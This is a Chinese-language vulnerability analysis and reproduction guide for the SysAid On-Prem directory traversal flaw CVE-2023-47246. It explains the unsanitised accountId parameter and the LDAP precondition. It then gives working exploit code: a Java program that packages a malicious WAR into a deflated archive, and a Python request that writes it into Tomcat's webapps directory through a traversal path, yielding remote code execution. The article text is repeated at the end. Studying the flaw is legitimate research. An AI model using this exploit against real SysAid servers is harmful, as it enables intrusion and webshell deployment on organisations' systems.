【Web】SysAid On-Prem Software CVE-2023-47246 目录穿越RCE
字数 1091 2025-08-10 08:28:40

SysAid On-Prem Software CVE-2023-47246 目录穿越RCE漏洞分析与利用

漏洞概述

SysAid On-Premise软件存在一个目录穿越漏洞(CVE-2023-47246),攻击者可以利用该漏洞上传恶意WAR文件到Tomcat webapps目录,实现远程代码执行(RCE)。该漏洞于2023年11月8日由SysAid公开披露,且已发现野外利用。

受影响版本

  • SysAidServer 23.3.36及之前版本
  • SysAidServer 23.3.35及之前版本

漏洞分析

漏洞位置

漏洞存在于com.ilient.server.UserEntry#doPost方法中,主要涉及两个关键问题:

  1. 目录穿越漏洞accountId参数未经过滤直接用于文件路径拼接
  2. 安全校验绕过:虽然存在路径规范化检查(getCanonicalPath().startsWith()),但检查逻辑存在缺陷

漏洞利用流程

  1. 攻击者通过accountId参数构造目录穿越路径(如ilient/../../../../tomcat/webapps)
  2. 系统将恶意压缩文件写入目标目录
  3. 文件被解压为WAR包并自动部署
  4. Tomcat自动部署WAR文件导致RCE

漏洞利用条件

  1. 非默认配置:需要目标系统配置了LDAP支持
  2. 数据库条件:需要count(ldap_id)>1的SQL查询返回真
  3. 默认数据库名ilient

漏洞复现步骤

1. 环境准备

下载受影响版本:

  • https://cdn3.sysaid.com/OnPremInstall/23.3.36/SysAidServer64.exe
  • https://cdn3.sysaid.com/OnPremInstall/23.3.35/SysAidServer64.exe

2. 构造恶意WAR包

使用以下Java代码生成压缩文件:

import org.springframework.util.StreamUtils;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.zip.Deflater;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("1.zip");
        ZipOutputStream zipOutputStream = new ZipOutputStream(fileOutputStream);
        zipOutputStream.putNextEntry(new ZipEntry("haha.war"));
        zipOutputStream.write(StreamUtils.copyToByteArray(new FileInputStream("C:\\Users\\asd\\Desktop\\war\\w.war")));
        zipOutputStream.closeEntry();
        zipOutputStream.flush();
        zipOutputStream.finish();

        Deflater deflater = new Deflater();
        FileInputStream fileInputStream = new FileInputStream("1.zip");
        byte[] data = StreamUtils.copyToByteArray(fileInputStream);
        deflater.setInput(data);
        deflater.finish();
        byte[] output;
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!deflater.finished()) {
                int i = deflater.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            bos.close();
        }
        deflater.end();

        new FileOutputStream("1.dat").write(output);
    }
}

3. 发送恶意请求

使用Python发送攻击请求:

import requests

proxy = {
    'http':'http://localhost:8080'
}
headers = {
    'Content-Type':'application/octet-stream'
}
r = requests.post(
    'http://172.16.1.237:8080/userentry?accountId=ilient/../../../../tomcat/webapps&symbolName=LDAP_REFRESH_',
    headers=headers,
    data=open('1.dat','rb'),
    proxies=proxy
)

漏洞修复

SysAid已发布补丁修复此漏洞,建议用户升级到最新版本。

总结

该漏洞利用需要满足特定配置条件,但一旦满足,攻击者可以轻松实现远程代码执行。漏洞利用的关键点包括:

  1. 构造正确的目录穿越路径
  2. 生成符合要求的压缩文件
  3. 绕过LDAP支持检查
  4. 确保WAR包能被Tomcat正确部署

参考链接

  • SysAid官方公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
SysAid On-Prem Software CVE-2023-47246 目录穿越RCE漏洞分析与利用 漏洞概述 SysAid On-Premise软件存在一个目录穿越漏洞(CVE-2023-47246),攻击者可以利用该漏洞上传恶意WAR文件到Tomcat webapps目录,实现远程代码执行(RCE)。该漏洞于2023年11月8日由SysAid公开披露,且已发现野外利用。 受影响版本 SysAidServer 23.3.36及之前版本 SysAidServer 23.3.35及之前版本 漏洞分析 漏洞位置 漏洞存在于 com.ilient.server.UserEntry#doPost 方法中,主要涉及两个关键问题: 目录穿越漏洞 : accountId 参数未经过滤直接用于文件路径拼接 安全校验绕过 :虽然存在路径规范化检查( getCanonicalPath().startsWith() ),但检查逻辑存在缺陷 漏洞利用流程 攻击者通过 accountId 参数构造目录穿越路径(如 ilient/../../../../tomcat/webapps ) 系统将恶意压缩文件写入目标目录 文件被解压为WAR包并自动部署 Tomcat自动部署WAR文件导致RCE 漏洞利用条件 非默认配置 :需要目标系统配置了LDAP支持 数据库条件 :需要 count(ldap_id)>1 的SQL查询返回真 默认数据库名 : ilient 漏洞复现步骤 1. 环境准备 下载受影响版本: https://cdn3.sysaid.com/OnPremInstall/23.3.36/SysAidServer64.exe https://cdn3.sysaid.com/OnPremInstall/23.3.35/SysAidServer64.exe 2. 构造恶意WAR包 使用以下Java代码生成压缩文件: 3. 发送恶意请求 使用Python发送攻击请求: 漏洞修复 SysAid已发布补丁修复此漏洞,建议用户升级到最新版本。 总结 该漏洞利用需要满足特定配置条件,但一旦满足,攻击者可以轻松实现远程代码执行。漏洞利用的关键点包括: 构造正确的目录穿越路径 生成符合要求的压缩文件 绕过LDAP支持检查 确保WAR包能被Tomcat正确部署 参考链接 SysAid官方公告:https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification